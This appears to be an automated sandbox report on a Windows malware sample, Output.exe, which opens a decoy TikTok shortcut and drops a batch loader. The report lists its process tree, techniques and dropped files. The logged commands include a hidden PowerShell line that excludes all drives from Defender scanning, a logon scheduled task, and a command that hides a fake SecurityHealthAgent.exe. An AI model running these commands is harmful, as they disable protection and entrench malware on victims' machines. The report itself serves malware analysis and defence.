Analysis

  • user interaction
    yes
  • max time kernel
    21s
  • max time network
    26s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/07/2026, 03:51

General

  • Target
    Output.exe
  • Size 669KB
  • Sample260730-eet8gacn4w
  • SHA256 aafc3a65e6a87696d175216009f96daa7feaf23c286066c69150c6f277c5632f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Checks system information in the registry 2 TTPs 8 IoCs

    System information is often read in order to detect sandboxing environments.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Output.exe
    "C:\Users\Admin\AppData\Local\Temp\Output.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe" --profile-directory=Default --app-id=nlalbmkafgmoifbeooblidblkmlhhpnc --app-url=https://www.tiktok.com/foryou --app-launch-source=4
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2992
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --source-shortcut="C:\Users\Admin\AppData\Local\Temp\TikTok.lnk" --profile-directory=Default --app-id=nlalbmkafgmoifbeooblidblkmlhhpnc --app-url=https://www.tiktok.com/foryou --app-launch-source=4
        3⤵
        • Enumerates system info in registry
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of WriteProcessMemory
        PID:1880
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x290,0x7ffd097fc188,0x7ffd097fc194,0x7ffd097fc1a0
          4⤵
            PID:5456
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1648,i,3658222823389091112,13643387404850382796,262144 --field-trial-handle=2292,i,6378292876071534174,15146735285174792552,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:2
            4⤵
              PID:2296
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1836,i,2552863560604308868,2150812023201018348,524288 --field-trial-handle=2292,i,6378292876071534174,15146735285174792552,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:11
              4⤵
              • System Time Discovery
              PID:5744
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2480,i,135638055857364995,9364484854725093175,524288 --field-trial-handle=2292,i,6378292876071534174,15146735285174792552,262144 --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:13
              4⤵
                PID:4808
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3176,i,15995183452717374226,17335567430164067507,2097152 --field-trial-handle=2292,i,6378292876071534174,15146735285174792552,262144 --variations-seed-version --mojo-platform-channel-handle=3788 /prefetch:9
                4⤵
                  PID:4496
            • C:\Users\Admin\AppData\Local\Temp\MasonClient.bat
              "C:\Users\Admin\AppData\Local\Temp\MasonClient.bat"
              2⤵
              • Executes dropped EXE
              • Checks system information in the registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4992
              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe
                "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe" --r
                3⤵
                • Executes dropped EXE
                • Checks system information in the registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2860
                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe
                  "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe" --wd 2860
                  4⤵
                  • Executes dropped EXE
                  • Checks system information in the registry
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3252
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c chcp 65001 >nul && ƒ „!ö˜÷30ª³@‘B¸ï묀…¹)œë­@dlaâú£dÑN/Ú“•[”–M顿a£ýá?,`ŽÊ¡Fˆ¡ròÓ`„ª÷øbŠQ¹‘Â×n­ê
                  4⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5428
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    5⤵
                      PID:3452
                  • C:\Windows\SYSTEM32\cmd.exe
                    cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
                    4⤵
                    • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
                    • Hide Artifacts: Hidden Window
                    • Hide Artifacts: Ignore Process Interrupts
                    • Suspicious use of WriteProcessMemory
                    PID:5448
                    • C:\Windows\system32\chcp.com
                      chcp 65001
                      5⤵
                        PID:2092
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
                        5⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5064
                    • C:\Windows\SYSTEM32\cmd.exe
                      cmd.exe /c chcp 65001 >nul && schtasks /create /f /sc onlogon /tn "SecurityHealthAgent" /tr "\"C:\Users\Admin\AppData\Roaming\SecurityHealthAgent.exe\"" /ru ""
                      4⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:1216
                      • C:\Windows\system32\chcp.com
                        chcp 65001
                        5⤵
                          PID:4704
                        • C:\Windows\system32\schtasks.exe
                          schtasks /create /f /sc onlogon /tn "SecurityHealthAgent" /tr "\"C:\Users\Admin\AppData\Roaming\SecurityHealthAgent.exe\"" /ru ""
                          5⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4064
                      • C:\Windows\SYSTEM32\cmd.exe
                        cmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe"
                        4⤵
                        • Hide Artifacts: Hidden Files and Directories
                        • Suspicious use of WriteProcessMemory
                        PID:1988
                        • C:\Windows\system32\chcp.com
                          chcp 65001
                          5⤵
                            PID:5828
                          • C:\Windows\system32\attrib.exe
                            attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe"
                            5⤵
                            • Views/modifies file attributes
                            PID:1284
                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                    1⤵
                      PID:4560
                    • C:\Users\Admin\AppData\Roaming\SecurityHealthAgent.exe
                      "C:\Users\Admin\AppData\Roaming\SecurityHealthAgent.exe"
                      1⤵
                      • Executes dropped EXE
                      • Checks system information in the registry
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2036

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          settings.dat

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                          • Size 280B
                          • SHA256 5e34bc4625bf22507150f49d8c28444bda8222ea36c2a7d431bbdaae5c134a9d
                          • MD5 SHA1 SHA512 TLSH

                          settings.dat

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                          • Size 280B
                          • SHA256 7f7f7efafb9f87082470af84df3b906033b9d533fb7a188458a4e181362f2170
                          • MD5 SHA1 SHA512 TLSH

                          BookmarkMergedSurfaceOrdering

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          SiteList-Enterprise.json

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                          • Size 2B
                          • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                          • MD5 SHA1 SHA512

                          Edge Profile.ico

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                          • Size 70KB
                          • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Network Persistent State

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                          • Size 61B
                          • SHA256 e1b77550222c2451772c958e44026abe518a2c8766862f331765788ddd196377
                          • MD5 SHA1 SHA512 TLSH

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          Preferences

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                          • Size 10KB
                          • SHA256 7a0f84913ef4542bf0dad65fb1ef98ef668cea3e608bafe47e1762b8b6278da6
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Secure Preferences

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                          • Size 27KB
                          • SHA256 69168dd2394f55ff21fe06df5082ed6c6822e96521053abb9804e03428c5969d
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                          • Size 39KB
                          • SHA256 de9011cbf8c6ae1fe5473abfc23781bf4ba4fda29ebd6d95451c707648edc16b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                          • Size 38KB
                          • SHA256 b32f771f3c8fc1f46c80feb4fdc853df7c1d2920d74d7eca3acacee33cc88599
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          MasonClient.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\MasonClient.bat
                          • Size 657KB
                          • SHA256 df100e1666f9fca4da628af3328fd969ddf5426a6c69a39b84997f66b8e1a7ea
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          TikTok.lnk

                          • Path C:\Users\Admin\AppData\Local\Temp\TikTok.lnk
                          • Size 2KB
                          • SHA256 62cc7353d081a9c191b3c370683f59dfd945b92d8b06cac47a5b3314081f4f22
                          • MD5 SHA1 SHA512 TLSH

                          memory/2036-139-0x00007FF7EE220000-0x00007FF7EE2E1000-memory.dmp

                          memory/2556-5-0x00007FFD0D150000-0x00007FFD0DAF4000-memory.dmp

                          memory/2556-0-0x00007FFD0D2DF000-0x00007FFD0D2E0000-memory.dmp

                          memory/2556-26-0x00007FFD0D150000-0x00007FFD0DAF4000-memory.dmp

                          memory/2556-3-0x00007FFD0D150000-0x00007FFD0DAF4000-memory.dmp

                          memory/2556-1-0x0000000000FA0000-0x000000000104E000-memory.dmp

                          memory/2556-15-0x00007FFD0D150000-0x00007FFD0DAF4000-memory.dmp

                          memory/2860-140-0x00007FF6A2880000-0x00007FF6A2941000-memory.dmp

                          memory/3252-141-0x00007FF6A2880000-0x00007FF6A2941000-memory.dmp

                          memory/4992-128-0x00007FF6CCA80000-0x00007FF6CCB41000-memory.dmp

                          memory/5064-131-0x00000235937F0000-0x0000023593812000-memory.dmp

                          memory/5064-134-0x00000235939A0000-0x00000235939BE000-memory.dmp

                          memory/5064-135-0x00000235ABD00000-0x00000235ABDB2000-memory.dmp

                          memory/5064-136-0x00000235939C0000-0x00000235939CA000-memory.dmp